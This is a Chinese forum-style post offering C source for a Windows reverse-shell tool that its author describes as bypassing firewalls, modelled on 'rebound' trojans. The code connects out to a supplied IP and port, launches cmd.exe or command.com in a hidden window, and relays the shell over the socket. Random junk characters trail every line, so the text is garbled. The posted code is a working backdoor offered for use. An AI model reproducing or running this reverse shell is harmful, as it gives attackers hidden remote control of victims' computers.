这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )9<)mV*EB(
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/* ============================== Q45rP4mQ
Rebound port in Windows NT 6b]vHT|p
By wind,2006/7 pn
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===============================*/ pAa{,,Qc
#include ait/|a
#include QkF-}P%
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#pragma comment(lib,"wsock32.lib") E*
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void OutputShell(); /1OhW>W3eH
SOCKET sClient; c69C=WQ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; UyF]gO
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void main(int argc,char **argv) .0a$E`V=D
{ #a .aD+d'
WSADATA stWsaData; #vDe/o+=
int nRet; ]]7s9PCN
SOCKADDR_IN stSaiClient,stSaiServer; CX1'B0=\r
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if(argc != 3) \7/xb{z|
{ DAvAozM
printf("Useage:\n\rRebound DestIP DestPort\n"); .d8~]@U!<
return; }RyYzm2
} |UlScUI,
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WSAStartup(MAKEWORD(2,2),&stWsaData); ](a<b@p
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FijzO
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stSaiClient.sin_family = AF_INET; XDI@mQmzB
stSaiClient.sin_port = htons(0); FvvF4
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `Zk?.1*2/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) H7\EvIM=
{ ;ga~ae=Fg
printf("Bind Socket Failed!\n"); Z+vLEEX*uQ
return; 4)"jg[
} 2smLv1w@
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stSaiServer.sin_family = AF_INET; +q=/}|
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >yL8C:J9
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); cy}2~w&s4
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Q}m)Q('Rk
{ QGYmQ9m{kL
printf("Connect Error!"); k|g~xmI;
return; IPY@9+]
} R_Z
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OutputShell(); #nu?b?X'
} G,$jU9 f
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void OutputShell() .IG(Y!cB
{ mk0rAN
char szBuff[1024]; N2x\O~7
SECURITY_ATTRIBUTES stSecurityAttributes; -ff*,b$Q/
OSVERSIONINFO stOsversionInfo; JM!o(zbt
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,I)/ V>u
STARTUPINFO stStartupInfo; ?p}m[9@
char *szShell; X#pE!mT
PROCESS_INFORMATION stProcessInformation; .=K@M"5&
unsigned long lBytesRead; G8<,\mg+
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); WAob"`8]
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^(a %B
stSecurityAttributes.lpSecurityDescriptor = 0; lJ}lO,g
stSecurityAttributes.bInheritHandle = TRUE; ;zp0,[r
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :.Np7[~{
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 'KXvn0
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %pV/(/Q
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n*' |7 #;
stStartupInfo.wShowWindow = SW_HIDE; v+Ooihxl
stStartupInfo.hStdInput = hReadPipe; <S5Am%vo
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; QPdhesrd-
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GetVersionEx(&stOsversionInfo); a[t2TjB
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switch(stOsversionInfo.dwPlatformId) o,u-%
{ Q;`#ujxL
case 1: CFn!P;.!
szShell = "command.com"; mNs&*h}
break; 7zy6`OP
default: bl:.D~@
szShell = "cmd.exe"; jYuH
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break; &grT}
} H{9di\xnEm
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); p"Fj6T2
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send(sClient,szMsg,77,0); q(_pk&/
while(1) 4WDh8U
{ 7X1T9'jI2
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); KLlW\MF1
if(lBytesRead) *qGxQ?/
{ j@Z4(XL
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $\{@wL
send(sClient,szBuff,lBytesRead,0); bf::bV?T
} $c[8-=
else K^w(WE;db
{ YW0UIO
lBytesRead=recv(sClient,szBuff,1024,0); :X/j%m*
if(lBytesRead<=0) break; 1_*o(HR
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); IU/dY`J1
} vJ }^p}
} ;aWH`^{i
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return; LbvnV~S
}